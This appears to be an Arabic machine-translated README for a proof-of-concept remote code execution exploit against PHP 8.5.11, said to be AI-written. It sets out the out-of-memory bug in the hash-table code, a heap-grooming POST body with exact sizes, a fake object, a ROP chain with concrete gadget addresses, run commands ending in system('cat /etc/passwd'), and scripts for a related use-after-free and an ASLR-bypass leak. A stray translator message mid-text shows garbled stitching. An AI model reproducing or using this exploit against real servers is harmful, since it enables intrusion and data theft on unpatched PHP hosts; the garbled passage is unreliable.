
🤖 لا، هناك طريقة سهلة لاستغلال هذه الثغرة! (تمت برمجتها بالذكاء الاصطناعي لإثبات وجهة نظر)
إثبات مفهوم (PoC) قابل لإعادة الإنتاج ومستقل عن التطبيق لتنفيذ التعليمات البرمجية عن بُعد ضد PHP
8.5.11 (تنبيهات أكتوبر 2026). يحوّل تنبيهَي تلف الذاكرة في PHP لعام 2026
إلى system("cat /etc/passwd") دون أي كود تطبيقي — فملف index.php لدى
الضحية يكتفي بطباعة ok.
longjmp الناتج عن نفاد الذاكرة (OOM) عن HashTable نصف مبنيّ، تاركًا
دلوًا معلّقًا (dangling bucket) يدمّره الإغلاق (shutdown). هذا هو أساس تنفيذ التعليمات البرمجية عن بُعد (RCE).كل شيء قابل لإعادة الإنتاج بالكامل في حاويات Podman. النتيجة المؤكدة من البداية إلى النهاية
هي ./exploits/cve-2026-109618-oom/rce.py وهي تقرأ /etc/passwd.
عندما ينفد الذاكرة من PHP فإنه يستدعي zend_mm_safe_error() →
zend_error_noreturn() → zend_bailout() (longjmp). في 8.5.11 فإن إدراج
جدول التجزئة (hash-table) ليس قابلًا للفشل عند التخصيص، لذا يمكن لنفاد الذاكرة أن
يفكّ المكدس (unwind) مع HashTable نصف معدّل.
موضع الإفساد هو add_to_hash في _zend_hash_str_add_or_update_i()
(Zend/zend_hash.c:960):
add_to_hash:
idx = ht->nNumUsed++; /* (1) bumped first */
ht->nNumOfElements++; /* (2) bumped */
p = ht->arData + idx;
p->key = key = zend_string_init(str, len); /* (3) OOM -> zend_bailout */
إذا فشل نسخ المفتاح zend_string_init بسبب نفاد الذاكرة (OOM)، يبقى العنصر p غير مكتوب
(key/h/val كلها قيم قديمة) لكن nNumUsed يكون قد زاد بالفعل. عند إغلاق الطلب
يمرّ zend_array_destroy() على عناصر nNumUsed وينادي
i_zval_ptr_dtor(&p->val) على قيمة val المهملة في العنصر غير المكتوب — وهي
قيمة مصمّمة من المهاجم. يُستبدل كل تخصيص من هذا النوع في إصلاح 8.5.12 بنسخ
قابلة للفشل (femalloc/fperealloc2 + HASH_FALLIBLE) بحيث يعود الإدراج
بشكل نظيف بدلًا من الانسحاب.
يتعلق الاستغلال بالكامل بجعل كتلة واحدة مسيطر عليها بحجم 2560 بايت تكون
arData الخاصة بـ HashTable التي يكون عنصرها الأخير هو عنصر نفاد الذاكرة. القيم
التي كان لا بد من موازنتها، والسبب:
| النوع / المتغير | الحجم | الدور |
|---|---|---|
ترويسة zend_array (HashTable) | 56 بايت | arData، nNumUsed، nTableSize، pDestructor |
Bucket | 32 بايت | val(16) + h(8) + key(8)؛ العنصر غير المكتوب هو هدفنا |
zval | 16 بايت | value(8) + u1.type_info(4) + u2(4) — نضبط type_info |
zend_string | ترويسة 24 بايت + بيانات | قيمة الحشو؛ طولها يحدد سلة المخصص (allocator bin) |
zend_object | 56 بايت | كائن مزيف: gc(8) handle(4) ce(8) handlers(8) properties(8) |
zend_object_handlers | offset/free_obj/dtor_obj | free_obj هو أداة المحور (pivot gadget) |
zend_mm_heap / zend_mm_chunk | — | free_slot[]، free_tail، map[] (السلة 28 = 2560 بايت) |
حقيقتا المخصص اللتان تقوم عليهما هندسة الكومة بأكملها:
arData لجدول بـ 64 عنصرًا هي بالضبط 2560 بايت = السلة 28
(HT_SIZE_EX(64) = 64*32 buckets + 128*4 hash = 2560)، لأن
HT_SIZE_TO_MASK(n) = -(2n).b150 (الذي يُمرّ عليه) وb0e0 (الذي يُهمل) هما نسختان من $_POST["a"]
أُنشئتا عبر مسار SEPARATE_ARRAY/غير المباشر في جدول الرموز (symtable)؛ كل
حقل a[<large>][c]=v يُدرج المفتاح <large> في كلتيهما، ويكون b0e0
دائمًا متقدمًا بمفتاح واحد. يُدمَّر b150 فقط بواسطة php_request_shutdown، لذا
يجب أن يقع نفاد الذاكرة على b150.rce.py)جسم الطلب هو POST بترميز urlencoded:
memshift=<40 KB of M>&
a[X…0000000000000000][c]=v& … (30 fields)
pad=<crafted 2528 B>&
pad=x&
a[X…0000000000000030][c]=v& … (fields 30..59)
memshift (~40 KB) يستهلك من الذاكرة ما يكفي فقط لكي يُطلق OOM عند
أول إدراج لحقل OOM، أي في b150 (الجدول الممشى)، وليس
b0e0 المهمَل.pad=<2528 B>: يقوم add_post_var بتنفيذ estrndup(A) ثم
ZVAL_STRINGL_FAST(B, copy). القياس B = padlen + 32، لذا padlen=2528
يعطي A = 2529 وB = 2560 — كلاهما bin 28. يتم تحرير A عبر
مسار estrndup.pad=x (مفتاح مكرر) ينفّذ DTOR على النسخة المحتفظ بها B، محررًا فتحة
ثانية منفصلة في bin-28. الآن إعادة تحجيم b150 من 32→64 تعيد استخدام B — فتصبح
بايتاتنا المتحكَّم بها هي arData الخاصة بـ b150.zend_hash_rehash كتابتها.IS_OBJECT مع value.obj = &fake_object.i_zval_ptr_dtor → rc_dtor_func →
zend_objects_store_del → handlers->free_obj = pivot → ROP →
system("cat /etc/passwd > /var/www/html/leak.txt")؛ ثم طلب
GET /leak.txt لاحقًا يعيد الملف.متطلبان دقيقان استهلكا وقتًا حقيقيًا في التنقيح (كلاهما في rce.py):
__libc_system تعليمة movaps (محاذاة 16 بايت)، لذا يُدرج أداة ret
إضافية بين pop rdi; ret وsystem — وإلا فإنه يحدث SIGSEGV داخل
__libc_system قبل execve.setarch -R)مقاسة مقابل php-rce-oom-debug:8.5.11 (الأساس php-rce-base:8.5.11). قواعد
libphp/libc هي نفسها عبر بناء الأساس؛ إزاحة الكومة B تتغير
مع المكتبات المثبتة (تثبيت gdb حرّكها)، لذا أعد قياس B لصورة مختلفة، أو
استنتجها عبر تسريب المعلومات عند تفعيل ASLR.
| الرمز | العنوان |
|---|---|
| libphp base | 0x7ffff4400000 |
| libc base | 0x7ffff7cd4000 |
system | 0x7ffff7d20490 (libc+0x4c490) |
pop rdi; ret | 0x7ffff7cfb7e5 (libc+0x277e5) |
ret | 0x7ffff7cfb7e6 |
pivot (jump_fcontext+0x2e) | 0x7ffff49fb8ae |
main chunk ([anon:zend_alloc]) | 0x7ffff7200000 |
B (arData raw block = b150->arData - 512) | 0x7ffff725e400 |
| fake handlers | B + 24 + 2000 = 0x7ffff725ebe8 |
| fake object | B + 24 + 2048 = 0x7ffff725ec18 |
cmd string | B + 24 + 2200 = 0x7ffff725ecb0 |
سلسلة ROP (نسبةً إلى الكائن المزيف، o):
o+0x40 pop rdi; ret (r8 loaded by the pivot)
o+0x48 &cmd (rdi)
o+0x50 ret (stack alignment for movaps)
o+0x58 system
يتطلب Podman. من جذر المستودع:
# build base + OOM + debug (gdb) images
./exploits/cve-2026-109618-oom/trace.sh build
# run the vulnerable worker with ASLR disabled (setarch -R), port 8084
./exploits/cve-2026-109618-oom/trace.sh up
# exploit: OOM -> free_obj hijack -> system("cat /etc/passwd")
python3 exploits/cve-2026-109618-oom/rce.py 127.0.0.1 8084
لا يوجد محتوى مُدخل للترجمة. يرجى تزويد النص المطلوب ترجمته (الجزء 9 من 15).
[+] RCE: read /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…
# stale fatal-backtrace UAF crash (CVE-2026-109619)
./exploits/cve-2026-109619-stale-state/run.sh up && ./exploits/cve-2026-109619-stale-state/run.sh uaf
# info-leak / ASLR-bypass primitive (addresses + read path)
./exploits/cve-2026-109619-info-leak/run.sh build && ./exploits/cve-2026-109619-info-leak/run.sh up && ./exploits/cve-2026-109619-info-leak/run.sh leak
# negative control (patched 8.5.12 survives the same sequence)
./exploits/negative-control/run.sh up && ./exploits/negative-control/run.sh